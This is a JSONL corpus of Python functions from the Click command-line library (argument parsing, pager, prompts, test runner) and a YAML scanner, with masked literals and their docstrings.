{"signature": "def __init__(self):", "body": "<EOL>self.done = False<EOL>self.flow_level = <NUM_LIT:0><EOL>self.tokens = []<EOL>self.fetch_stream_start()<EOL>self.tokens_taken = <NUM_LIT:0><EOL>self.indent = -<NUM_LIT:1><EOL>self.indents = []<EOL>self.allow_simple_key = True<EOL>self.possible_simple_keys = {}<EOL>", "docstring": "Initialize the scanner.", "id": "f8327:c2:m0"}
{"signature": "def _unpack_args(args, nargs_spec):", "body": "args = deque(args)<EOL>nargs_spec = deque(nargs_spec)<EOL>rv = []<EOL>spos = None<EOL>def _fetch(c):<EOL><INDENT>try:<EOL><INDENT>if spos is None:<EOL><INDENT>return c.popleft()<EOL><DEDENT>else:<EOL><INDENT>return c.pop()<EOL><DEDENT><DEDENT>except IndexError:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>while nargs_spec:<EOL><INDENT>nargs = _fetch(nargs_spec)<EOL>if nargs == <NUM_LIT:1>:<EOL><INDENT>rv.append(_fetch(args))<EOL><DEDENT>elif nargs > <NUM_LIT:1>:<EOL><INDENT>x = [_fetch(args) for _ in range(nargs)]<EOL>if spos is not None:<EOL><INDENT>x.reverse()<EOL><DEDENT>rv.append(tuple(x))<EOL><DEDENT>elif nargs < <NUM_LIT:0>:<EOL><INDENT>if spos is not None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>spos = len(rv)<EOL>rv.append(None)<EOL><DEDENT><DEDENT>if spos is not None:<EOL><INDENT>rv[spos] = tuple(args)<EOL>args = []<EOL>rv[spos + <NUM_LIT:1>:] = reversed(rv[spos + <NUM_LIT:1>:])<EOL><DEDENT>return tuple(rv), list(args)<EOL>", "docstring": "Given an iterable of arguments and an iterable of nargs specifications,\n    it returns a tuple with all the unpacked arguments at the first index\n    and all remaining arguments as the second.\n\n    The nargs specification is the number of arguments that should be consumed\n    or `-1` to indicate that this position should eat up all the remainders.\n\n    Missing items are filled with `None`.", "id": "f8328:m0"}
{"signature": "def split_arg_string(string):", "body": "rv = []<EOL>for match in re.finditer(r\"<STR_LIT>\"<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>', string, re.S):<EOL><INDENT>arg = match.group().strip()<EOL>if arg[:<NUM_LIT:1>] == arg[-<NUM_LIT:1>:] and arg[:<NUM_LIT:1>] in '<STR_LIT>':<EOL><INDENT>arg = arg[<NUM_LIT:1>:-<NUM_LIT:1>].encode('<STR_LIT:ascii>', '<STR_LIT>').decode('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>arg = type(string)(arg)<EOL><DEDENT>except UnicodeError:<EOL><INDENT>pass<EOL><DEDENT>rv.append(arg)<EOL><DEDENT>return rv<EOL>", "docstring": "Given an argument string this attempts to split it into small parts.", "id": "f8328:m4"}
{"signature": "def add_option(self, opts, dest, action=None, nargs=<NUM_LIT:1>, const=None,<EOL>obj=None):", "body": "if obj is None:<EOL><INDENT>obj = dest<EOL><DEDENT>opts = [normalize_opt(opt, self.ctx) for opt in opts]<EOL>option = Option(opts, dest, action=action, nargs=nargs,<EOL>const=const, obj=obj)<EOL>self._opt_prefixes.update(option.prefixes)<EOL>for opt in option._short_opts:<EOL><INDENT>self._short_opt[opt] = option<EOL><DEDENT>for opt in option._long_opts:<EOL><INDENT>self._long_opt[opt] = option<EOL><DEDENT>", "docstring": "Adds a new option named `dest` to the parser.  The destination\n        is not inferred (unlike with optparse) and needs to be explicitly\n        provided.  Action can be any of ``store``, ``store_const``,\n        ``append``, ``appnd_const`` or ``count``.\n\n        The `obj` can be used to identify the option in the order list\n        that is returned from the parser.", "id": "f8328:c3:m1"}
{"signature": "def add_argument(self, dest, nargs=<NUM_LIT:1>, obj=None):", "body": "if obj is None:<EOL><INDENT>obj = dest<EOL><DEDENT>self._args.append(Argument(dest=dest, nargs=nargs, obj=obj))<EOL>", "docstring": "Adds a positional argument named `dest` to the parser.\n\n        The `obj` can be used to identify the option in the order list\n        that is returned from the parser.", "id": "f8328:c3:m2"}
{"signature": "def parse_args(self, args):", "body": "state = ParsingState(args)<EOL>try:<EOL><INDENT>self._process_args_for_options(state)<EOL>self._process_args_for_args(state)<EOL><DEDENT>except UsageError:<EOL><INDENT>if self.ctx is None or not self.ctx.resilient_parsing:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>return state.opts, state.largs, state.order<EOL>", "docstring": "Parses positional arguments and returns ``(values, args, order)``\n        for the parsed options and arguments as well as the leftover\n        arguments if there are any.  The order is a list of objects as they\n        appear on the command line.  If arguments appear multiple times they\n        will be memorized multiple times as well.", "id": "f8328:c3:m3"}
{"signature": "def get_current_context(silent=False):", "body": "try:<EOL><INDENT>return getattr(_local, '<STR_LIT>')[-<NUM_LIT:1>]<EOL><DEDENT>except (AttributeError, IndexError):<EOL><INDENT>if not silent:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Returns the current click context.  This can be used as a way to\n    access the current context object from anywhere.  This is a more implicit\n    alternative to the :func:`pass_context` decorator.  This function is\n    primarily useful for helpers such as :func:`echo` which might be\n    interested in changing it's behavior based on the current context.\n\n    To push the current context, :meth:`Context.scope` can be used.\n\n    .. versionadded:: 5.0\n\n    :param silent: is set to `True` the return value is `None` if no context\n                   is available.  The default behavior is to raise a\n                   :exc:`RuntimeError`.", "id": "f8329:m0"}
{"signature": "def push_context(ctx):", "body": "_local.__dict__.setdefault('<STR_LIT>', []).append(ctx)<EOL>", "docstring": "Pushes a new context to the current stack.", "id": "f8329:m1"}
{"signature": "def pop_context():", "body": "_local.stack.pop()<EOL>", "docstring": "Removes the top level from the stack.", "id": "f8329:m2"}
{"signature": "def resolve_color_default(color=None):", "body": "if color is not None:<EOL><INDENT>return color<EOL><DEDENT>ctx = get_current_context(silent=True)<EOL>if ctx is not None:<EOL><INDENT>return ctx.color<EOL><DEDENT>", "docstring": "Internal helper to get the default value of the color flag.  If a\n    value is passed it's returned unchanged, otherwise it's looked up from\n    the current context.", "id": "f8329:m3"}
{"signature": "def _length_hint(obj):", "body": "try:<EOL><INDENT>return len(obj)<EOL><DEDENT>except (AttributeError, TypeError):<EOL><INDENT>try:<EOL><INDENT>get_hint = type(obj).__length_hint__<EOL><DEDENT>except AttributeError:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>hint = get_hint(obj)<EOL><DEDENT>except TypeError:<EOL><INDENT>return None<EOL><DEDENT>if hint is NotImplemented ornot isinstance(hint, (int, long)) orhint < <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return hint<EOL><DEDENT>", "docstring": "Returns the length hint of an object.", "id": "f8330:m0"}
{"signature": "def pager(text, color=None):", "body": "stdout = _default_text_stdout()<EOL>if not isatty(sys.stdin) or not isatty(stdout):<EOL><INDENT>return _nullpager(stdout, text, color)<EOL><DEDENT>pager_cmd = (os.environ.get('<STR_LIT>', None) or '<STR_LIT>').strip()<EOL>if pager_cmd:<EOL><INDENT>if WIN:<EOL><INDENT>return _tempfilepager(text, pager_cmd, color)<EOL><DEDENT>return _pipepager(text, pager_cmd, color)<EOL><DEDENT>if os.environ.get('<STR_LIT>') in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return _nullpager(stdout, text, color)<EOL><DEDENT>if WIN or sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>return _tempfilepager(text, '<STR_LIT>', color)<EOL><DEDENT>if hasattr(os, '<STR_LIT>') and os.system('<STR_LIT>') == <NUM_LIT:0>:<EOL><INDENT>return _pipepager(text, '<STR_LIT>', color)<EOL><DEDENT>import tempfile<EOL>fd, filename = tempfile.mkstemp()<EOL>os.close(fd)<EOL>try:<EOL><INDENT>if hasattr(os, '<STR_LIT>') and os.system('<STR_LIT>' % filename) == <NUM_LIT:0>:<EOL><INDENT>return _pipepager(text, '<STR_LIT>', color)<EOL><DEDENT>return _nullpager(stdout, text, color)<EOL><DEDENT>finally:<EOL><INDENT>os.unlink(filename)<EOL><DEDENT>", "docstring": "Decide what method to use for paging through text.", "id": "f8330:m1"}
{"signature": "def _pipepager(text, cmd, color):", "body": "import subprocess<EOL>env = dict(os.environ)<EOL>cmd_detail = cmd.rsplit('<STR_LIT:/>', <NUM_LIT:1>)[-<NUM_LIT:1>].split()<EOL>if color is None and cmd_detail[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>less_flags = os.environ.get('<STR_LIT>', '<STR_LIT>') + '<STR_LIT:U+0020>'.join(cmd_detail[<NUM_LIT:1>:])<EOL>if not less_flags:<EOL><INDENT>env['<STR_LIT>'] = '<STR_LIT>'<EOL>color = True<EOL><DEDENT>elif '<STR_LIT:r>' in less_flags or '<STR_LIT:R>' in less_flags:<EOL><INDENT>color = True<EOL><DEDENT><DEDENT>if not color:<EOL><INDENT>text = strip_ansi(text)<EOL><DEDENT>c = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,<EOL>env=env)<EOL>encoding = get_best_encoding(c.stdin)<EOL>try:<EOL><INDENT>c.stdin.write(text.encode(encoding, '<STR_LIT:replace>'))<EOL>c.stdin.close()<EOL><DEDENT>except (IOError, KeyboardInterrupt):<EOL><INDENT>pass<EOL><DEDENT>while True:<EOL><INDENT>try:<EOL><INDENT>c.wait()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Page through text by feeding it to another program.  Invoking a\n    pager through this might support colors.", "id": "f8330:m2"}
{"signature": "def _tempfilepager(text, cmd, color):", "body": "import tempfile<EOL>filename = tempfile.mktemp()<EOL>if not color:<EOL><INDENT>text = strip_ansi(text)<EOL><DEDENT>encoding = get_best_encoding(sys.stdout)<EOL>with open_stream(filename, '<STR_LIT:wb>')[<NUM_LIT:0>] as f:<EOL><INDENT>f.write(text.encode(encoding))<EOL><DEDENT>try:<EOL><INDENT>os.system(cmd + '<STR_LIT>' + filename + '<STR_LIT:\">')<EOL><DEDENT>finally:<EOL><INDENT>os.unlink(filename)<EOL><DEDENT>", "docstring": "Page through text by invoking a program on a temporary file.", "id": "f8330:m3"}
{"signature": "def _nullpager(stream, text, color):", "body": "if not color:<EOL><INDENT>text = strip_ansi(text)<EOL><DEDENT>stream.write(text)<EOL>", "docstring": "Simply print unformatted text.  This is the ultimate fallback.", "id": "f8330:m4"}
{"signature": "def is_ascii_encoding(encoding):", "body": "try:<EOL><INDENT>return codecs.lookup(encoding).name == '<STR_LIT:ascii>'<EOL><DEDENT>except LookupError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks if a given encoding is ascii.", "id": "f8332:m2"}
{"signature": "def get_best_encoding(stream):", "body": "rv = getattr(stream, '<STR_LIT>', None) or sys.getdefaultencoding()<EOL>if is_ascii_encoding(rv):<EOL><INDENT>return '<STR_LIT:utf-8>'<EOL><DEDENT>return rv<EOL>", "docstring": "Returns the default stream encoding if not found.", "id": "f8332:m3"}
{"signature": "@property<EOL><INDENT>def output(self):<DEDENT>", "body": "return self.output_bytes.decode(self.runner.charset, '<STR_LIT:replace>').replace('<STR_LIT:\\r\\n>', '<STR_LIT:\\n>')<EOL>", "docstring": "The output as unicode string.", "id": "f8333:c1:m1"}
{"signature": "def get_default_prog_name(self, cli):", "body": "return cli.name or '<STR_LIT:root>'<EOL>", "docstring": "Given a command object it will return the default program name\n        for it.  The default is the `name` attribute or ``\"root\"`` if not\n        set.", "id": "f8333:c2:m1"}
{"signature": "def make_env(self, overrides=None):", "body": "rv = dict(self.env)<EOL>if overrides:<EOL><INDENT>rv.update(overrides)<EOL><DEDENT>return rv<EOL>", "docstring": "Returns the environment overrides for invoking a script.", "id": "f8333:c2:m2"}
{"signature": "@contextlib.contextmanager<EOL><INDENT>def isolation(self, input=None, env=None, color=False):<DEDENT>", "body": "input = make_input_stream(input, self.charset)<EOL>old_stdin = sys.stdin<EOL>old_stdout = sys.stdout<EOL>old_stderr = sys.stderr<EOL>old_forced_width = clickpkg.formatting.FORCED_WIDTH<EOL>clickpkg.formatting.FORCED_WIDTH = <NUM_LIT><EOL>env = self.make_env(env)<EOL>if PY2:<EOL><INDENT>sys.stdout = sys.stderr = bytes_output = StringIO()<EOL>if self.echo_stdin:<EOL><INDENT>input = EchoingStdin(input, bytes_output)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>bytes_output = io.BytesIO()<EOL>if self.echo_stdin:<EOL><INDENT>input = EchoingStdin(input, bytes_output)<EOL><DEDENT>input = io.TextIOWrapper(input, encoding=self.charset)<EOL>sys.stdout = sys.stderr = io.TextIOWrapper(<EOL>bytes_output, encoding=self.charset)<EOL><DEDENT>sys.stdin = input<EOL>def visible_input(prompt=None):<EOL><INDENT>sys.stdout.write(prompt or '<STR_LIT>')<EOL>val = input.readline().rstrip('<STR_LIT:\\r\\n>')<EOL>sys.stdout.write(val + '<STR_LIT:\\n>')<EOL>sys.stdout.flush()<EOL>return val<EOL><DEDENT>def hidden_input(prompt=None):<EOL><INDENT>sys.stdout.write((prompt or '<STR_LIT>') + '<STR_LIT:\\n>')<EOL>sys.stdout.flush()<EOL>return input.readline().rstrip('<STR_LIT:\\r\\n>')<EOL><DEDENT>def _getchar(echo):<EOL><INDENT>char = sys.stdin.read(<NUM_LIT:1>)<EOL>if echo:<EOL><INDENT>sys.stdout.write(char)<EOL>sys.stdout.flush()<EOL><DEDENT>return char<EOL><DEDENT>default_color = color<EOL>def should_strip_ansi(stream=None, color=None):<EOL><INDENT>if color is None:<EOL><INDENT>return not default_color<EOL><DEDENT>return not color<EOL><DEDENT>old_visible_prompt_func = clickpkg.termui.visible_prompt_func<EOL>old_hidden_prompt_func = clickpkg.termui.hidden_prompt_func<EOL>old__getchar_func = clickpkg.termui._getchar<EOL>old_should_strip_ansi = clickpkg.utils.should_strip_ansi<EOL>clickpkg.termui.visible_prompt_func = visible_input<EOL>clickpkg.termui.hidden_prompt_func = hidden_input<EOL>clickpkg.termui._getchar = _getchar<EOL>clickpkg.utils.should_strip_ansi = should_strip_ansi<EOL>old_env = {}<EOL>try:<EOL><INDENT>for key, value in iteritems(env):<EOL><INDENT>old_env[key] = os.environ.get(key)<EOL>if value is None:<EOL><INDENT>try:<EOL><INDENT>del os.environ[key]<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>os.environ[key] = value<EOL><DEDENT><DEDENT>yield bytes_output<EOL><DEDENT>finally:<EOL><INDENT>for key, value in iteritems(old_env):<EOL><INDENT>if value is None:<EOL><INDENT>try:<EOL><INDENT>del os.environ[key]<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>os.environ[key] = value<EOL><DEDENT><DEDENT>sys.stdout = old_stdout<EOL>sys.stderr = old_stderr<EOL>sys.stdin = old_stdin<EOL>clickpkg.termui.visible_prompt_func = old_visible_prompt_func<EOL>clickpkg.termui.hidden_prompt_func = old_hidden_prompt_func<EOL>clickpkg.termui._getchar = old__getchar_func<EOL>clickpkg.utils.should_strip_ansi = old_should_strip_ansi<EOL>clickpkg.formatting.FORCED_WIDTH = old_forced_width<EOL><DEDENT>", "docstring": "A context manager that sets up the isolation for invoking of a\n        command line tool.  This sets up stdin with the given input data\n        and `os.environ` with the overrides from the given dictionary.\n        This also rebinds some internals in Click to be mocked (like the\n        prompt functionality).\n\n        This is automatically done in the :meth:`invoke` method.\n\n        .. versionadded:: 4.0\n           The ``color`` parameter was added.\n\n        :param input: the input stream to put into sys.stdin.\n        :param env: the environment overrides as dictionary.\n        :param color: whether the output should contain color codes. The\n                      application can still override this explicitly.", "id": "f8333:c2:m3"}
{"signature": "def invoke(self, cli, args=None, input=None, env=None,<EOL>catch_exceptions=True, color=False, **extra):", "body": "exc_info = None<EOL>with self.isolation(input=input, env=env, color=color) as out:<EOL><INDENT>exception = None<EOL>exit_code = <NUM_LIT:0><EOL>try:<EOL><INDENT>cli.main(args=args or (),<EOL>prog_name=self.get_default_prog_name(cli), **extra)<EOL><DEDENT>except SystemExit as e:<EOL><INDENT>if e.code != <NUM_LIT:0>:<EOL><INDENT>exception = e<EOL><DEDENT>exc_info = sys.exc_info()<EOL>exit_code = e.code<EOL>if not isinstance(exit_code, int):<EOL><INDENT>sys.stdout.write(str(exit_code))<EOL>sys.stdout.write('<STR_LIT:\\n>')<EOL>exit_code = <NUM_LIT:1><EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if not catch_exceptions:<EOL><INDENT>raise<EOL><DEDENT>exception = e<EOL>exit_code = -<NUM_LIT:1><EOL>exc_info = sys.exc_info()<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout.flush()<EOL>output = out.getvalue()<EOL><DEDENT><DEDENT>return Result(runner=self,<EOL>output_bytes=output,<EOL>exit_code=exit_code,<EOL>exception=exception,<EOL>exc_info=exc_info)<EOL>", "docstring": "Invokes a command in an isolated environment.  The arguments are\n        forwarded directly to the command line script, the `extra` keyword\n        arguments are passed to the :meth:`~clickpkg.Command.main` function of\n        the command.\n\n        This returns a :class:`Result` object.\n\n        .. versionadded:: 3.0\n           The ``catch_exceptions`` parameter was added.\n\n        .. versionchanged:: 3.0\n           The result object now has an `exc_info` attribute with the\n           traceback if available.\n\n        .. versionadded:: 4.0\n           The ``color`` parameter was added.\n\n        :param cli: the command to invoke\n        :param args: the arguments to invoke\n        :param input: the input data for `sys.stdin`.\n        :param env: the environment overrides.\n        :param catch_exceptions: Whether to catch any other exceptions than\n                                 ``SystemExit``.\n        :param extra: the keyword arguments to pass to :meth:`main`.\n        :param color: whether the output should contain color codes. The\n                      application can still override this explicitly.", "id": "f8333:c2:m4"}
{"signature": "@contextlib.contextmanager<EOL><INDENT>def isolated_filesystem(self):<DEDENT>", "body": "cwd = os.getcwd()<EOL>t = tempfile.mkdtemp()<EOL>os.chdir(t)<EOL>try:<EOL><INDENT>yield t<EOL><DEDENT>finally:<EOL><INDENT>os.chdir(cwd)<EOL>try:<EOL><INDENT>shutil.rmtree(t)<EOL><DEDENT>except (OSError, IOError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "A context manager that creates a temporary folder and changes\n        the current working directory to it for isolated filesystem tests.", "id": "f8333:c2:m5"}
{"signature": "def convert_type(ty, default=None):", "body": "guessed_type = False<EOL>if ty is None and default is not None:<EOL><INDENT>if isinstance(default, tuple):<EOL><INDENT>ty = tuple(map(type, default))<EOL><DEDENT>else:<EOL><INDENT>ty = type(default)<EOL><DEDENT>guessed_type = True<EOL><DEDENT>if isinstance(ty, tuple):<EOL><INDENT>return Tuple(ty)<EOL><DEDENT>if isinstance(ty, ParamType):<EOL><INDENT>return ty<EOL><DEDENT>if ty is text_type or ty is str or ty is None:<EOL><INDENT>return STRING<EOL><DEDENT>if ty is int:<EOL><INDENT>return INT<EOL><DEDENT>if ty is bool and not guessed_type:<EOL><INDENT>return BOOL<EOL><DEDENT>if ty is float:<EOL><INDENT>return FLOAT<EOL><DEDENT>if guessed_type:<EOL><INDENT>return STRING<EOL><DEDENT>if __debug__:<EOL><INDENT>try:<EOL><INDENT>if issubclass(ty, ParamType):<EOL><INDENT>raise AssertionError('<STR_LIT>'<EOL>'<STR_LIT>' % ty)<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return FuncParamType(ty)<EOL>", "docstring": "Converts a callable or python ty into the most appropriate param\n    ty.", "id": "f8334:m0"}
{"signature": "def get_metavar(self, param):", "body": "", "docstring": "Returns the metavar default for this param if it provides one.", "id": "f8334:c0:m1"}
{"signature": "def get_missing_message(self, param):", "body": "", "docstring": "Optionally might return extra information about a missing\n        parameter.\n\n        .. versionadded:: 2.0", "id": "f8334:c0:m2"}
{"signature": "def convert(self, value, param, ctx):", "body": "return value<EOL>", "docstring": "Converts the value.  This is not invoked for values that are\n        `None` (the missing value).", "id": "f8334:c0:m3"}
{"signature": "def split_envvar_value(self, rv):", "body": "return (rv or '<STR_LIT>').split(self.envvar_list_splitter)<EOL>", "docstring": "Given a value from an environment variable this splits it up\n        into small chunks depending on the defined envvar list splitter.\n\n        If the splitter is set to `None`, which means that whitespace splits,\n        then leading and trailing whitespace is ignored.  Otherwise, leading\n        and trailing splitters usually lead to empty items being included.", "id": "f8334:c0:m4"}
{"signature": "def fail(self, message, param=None, ctx=None):", "body": "raise BadParameter(message, ctx=ctx, param=param)<EOL>", "docstring": "Helper method to fail with an invalid value message.", "id": "f8334:c0:m5"}
{"signature": "def _verify_python3_env():", "body": "if PY2:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>import locale<EOL>fs_enc = codecs.lookup(locale.getpreferredencoding()).name<EOL><DEDENT>except Exception:<EOL><INDENT>fs_enc = '<STR_LIT:ascii>'<EOL><DEDENT>if fs_enc != '<STR_LIT:ascii>':<EOL><INDENT>return<EOL><DEDENT>extra = '<STR_LIT>'<EOL>if os.name == '<STR_LIT>':<EOL><INDENT>import subprocess<EOL>rv = subprocess.Popen(['<STR_LIT>', '<STR_LIT>'], stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE).communicate()[<NUM_LIT:0>]<EOL>good_locales = set()<EOL>has_c_utf8 = False<EOL>if isinstance(rv, bytes):<EOL><INDENT>rv = rv.decode('<STR_LIT:ascii>', '<STR_LIT:replace>')<EOL><DEDENT>for line in rv.splitlines():<EOL><INDENT>locale = line.strip()<EOL>if locale.lower().endswith(('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>good_locales.add(locale)<EOL>if locale.lower() in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>has_c_utf8 = True<EOL><DEDENT><DEDENT><DEDENT>extra += '<STR_LIT>'<EOL>if not good_locales:<EOL><INDENT>extra += (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>elif has_c_utf8:<EOL><INDENT>extra += (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>extra += (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>) % '<STR_LIT:U+002CU+0020>'.join(sorted(good_locales))<EOL><DEDENT>bad_locale = None<EOL>for locale in os.environ.get('<STR_LIT>'), os.environ.get('<STR_LIT>'):<EOL><INDENT>if locale and locale.lower().endswith(('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>bad_locale = locale<EOL><DEDENT>if locale is not None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if bad_locale is not None:<EOL><INDENT>extra += (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>) % bad_locale<EOL><DEDENT><DEDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' + extra)<EOL>", "docstring": "Ensures that the environment is good for unicode on Python 3.", "id": "f8335:m2"}
{"signature": "def prompt(text, default=None, hide_input=False,<EOL>confirmation_prompt=False, type=None,<EOL>value_proc=None, prompt_suffix='<STR_LIT>',<EOL>show_default=True, err=False):", "body": "result = None<EOL>def prompt_func(text):<EOL><INDENT>f = hide_input and hidden_prompt_func or visible_prompt_func<EOL>try:<EOL><INDENT>echo(text, nl=False, err=err)<EOL>return f('<STR_LIT>')<EOL><DEDENT>except (KeyboardInterrupt, EOFError):<EOL><INDENT>if hide_input:<EOL><INDENT>echo(None, err=err)<EOL><DEDENT>raise Abort()<EOL><DEDENT><DEDENT>if value_proc is None:<EOL><INDENT>value_proc = convert_type(type, default)<EOL><DEDENT>prompt = _build_prompt(text, prompt_suffix, show_default, default)<EOL>while <NUM_LIT:1>:<EOL><INDENT>while <NUM_LIT:1>:<EOL><INDENT>value = prompt_func(prompt)<EOL>if value:<EOL><INDENT>break<EOL><DEDENT>elif default is not None:<EOL><INDENT>return default<EOL><DEDENT><DEDENT>try:<EOL><INDENT>result = value_proc(value)<EOL><DEDENT>except UsageError as e:<EOL><INDENT>echo('<STR_LIT>' % e.message, err=err)<EOL>continue<EOL><DEDENT>if not confirmation_prompt:<EOL><INDENT>return result<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>value2 = prompt_func('<STR_LIT>')<EOL>if value2:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if value == value2:<EOL><INDENT>return result<EOL><DEDENT>echo('<STR_LIT>', err=err)<EOL><DEDENT>", "docstring": "Prompts a user for input.  This is a convenience function that can\n    be used to prompt a user for input later.\n\n    If the user aborts the input by sending a interrupt signal, this\n    function will catch it and raise a :exc:`Abort` exception.\n\n    .. versionadded:: 6.0\n       Added unicode support for cmd.exe on Windows.\n\n    .. versionadded:: 4.0\n       Added the `err` parameter.\n\n    :param text: the text to show for the prompt.\n    :param default: the default value to use if no input happens.  If this\n                    is not given it will prompt until it's aborted.\n    :param hide_input: if this is set to true then the input value will\n                       be hidden.\n    :param confirmation_prompt: asks for confirmation for the value.\n    :param type: the type to use to check the value against.\n    :param value_proc: if this parameter is provided it's a function that\n                       is invoked instead of the type conversion to\n                       convert a value.\n    :param prompt_suffix: a suffix that should be added to the prompt.\n    :param show_default: shows or hides the default value in the prompt.\n    :param err: if set to true the file defaults to ``stderr`` instead of\n                ``stdout``, the same as with echo.", "id": "f8338:m2"}
{"signature": "def confirm(text, default=False, abort=False, prompt_suffix='<STR_LIT>',<EOL>show_default=True, err=False):", "body": "prompt = _build_prompt(text, prompt_suffix, show_default,<EOL>default and '<STR_LIT>' or '<STR_LIT>')<EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>echo(prompt, nl=False, err=err)<EOL>value = visible_prompt_func('<STR_LIT>').lower().strip()<EOL><DEDENT>except (KeyboardInterrupt, EOFError):<EOL><INDENT>raise Abort()<EOL><DEDENT>if value in ('<STR_LIT:y>', '<STR_LIT:yes>'):<EOL><INDENT>rv = True<EOL><DEDENT>elif value in ('<STR_LIT:n>', '<STR_LIT>'):<EOL><INDENT>rv = False<EOL><DEDENT>elif value == '<STR_LIT>':<EOL><INDENT>rv = default<EOL><DEDENT>else:<EOL><INDENT>echo('<STR_LIT>', err=err)<EOL>continue<EOL><DEDENT>break<EOL><DEDENT>if abort and not rv:<EOL><INDENT>raise Abort()<EOL><DEDENT>return rv<EOL>", "docstring": "Prompts for confirmation (yes/no question).\n\n    If the user aborts the input by sending a interrupt signal this\n    function will catch it and raise a :exc:`Abort` exception.\n\n    .. versionadded:: 4.0\n       Added the `err` parameter.\n\n    :param text: the question to ask.\n    :param default: the default for the prompt.\n    :param abort: if this is set to `True` a negative answer aborts the\n                  exception by raising :exc:`Abort`.\n    :param prompt_suffix: a suffix that should be added to the prompt.\n    :param show_default: shows or hides the default value in the prompt.\n    :param err: if set to true the file defaults to ``stderr`` instead of\n                ``stdout``, the same as with echo.", "id": "f8338:m3"}
{"signature": "def get_terminal_size():", "body": "<EOL>if sys.version_info >= (<NUM_LIT:3>, <NUM_LIT:3>):<EOL><INDENT>import shutil<EOL>shutil_get_terminal_size = getattr(shutil, '<STR_LIT>', None)<EOL>if shutil_get_terminal_size:<EOL><INDENT>sz = shutil_get_terminal_size()<EOL>return sz.columns, sz.lines<EOL><DEDENT><DEDENT>if get_winterm_size is not None:<EOL><INDENT>return get_winterm_size()<EOL><DEDENT>def ioctl_gwinsz(fd):<EOL><INDENT>try:<EOL><INDENT>import fcntl<EOL>import termios<EOL>cr = struct.unpack(<EOL>'<STR_LIT>', fcntl.ioctl(fd, termios.TIOCGWINSZ, '<STR_LIT>'))<EOL><DEDENT>except Exception:<EOL><INDENT>return<EOL><DEDENT>return cr<EOL><DEDENT>cr = ioctl_gwinsz(<NUM_LIT:0>) or ioctl_gwinsz(<NUM_LIT:1>) or ioctl_gwinsz(<NUM_LIT:2>)<EOL>if not cr:<EOL><INDENT>try:<EOL><INDENT>fd = os.open(os.ctermid(), os.O_RDONLY)<EOL>try:<EOL><INDENT>cr = ioctl_gwinsz(fd)<EOL><DEDENT>finally:<EOL><INDENT>os.close(fd)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if not cr or not cr[<NUM_LIT:0>] or not cr[<NUM_LIT:1>]:<EOL><INDENT>cr = (os.environ.get('<STR_LIT>', <NUM_LIT>),<EOL>os.environ.get('<STR_LIT>', DEFAULT_COLUMNS))<EOL><DEDENT>return int(cr[<NUM_LIT:1>]), int(cr[<NUM_LIT:0>])<EOL>", "docstring": "Returns the current size of the terminal as tuple in the form\n    ``(width, height)`` in columns and rows.", "id": "f8338:m4"}
{"signature": "def echo_via_pager(text, color=None):", "body": "color = resolve_color_default(color)<EOL>if not isinstance(text, string_types):<EOL><INDENT>text = text_type(text)<EOL><DEDENT>from ._termui_impl import pager<EOL>return pager(text + '<STR_LIT:\\n>', color)<EOL>", "docstring": "This function takes a text and shows it via an environment specific\n    pager on stdout.\n\n    .. versionchanged:: 3.0\n       Added the `color` flag.\n\n    :param text: the text to page.\n    :param color: controls if the pager supports ANSI colors or not.  The\n                  default is autodetection.", "id": "f8338:m5"}
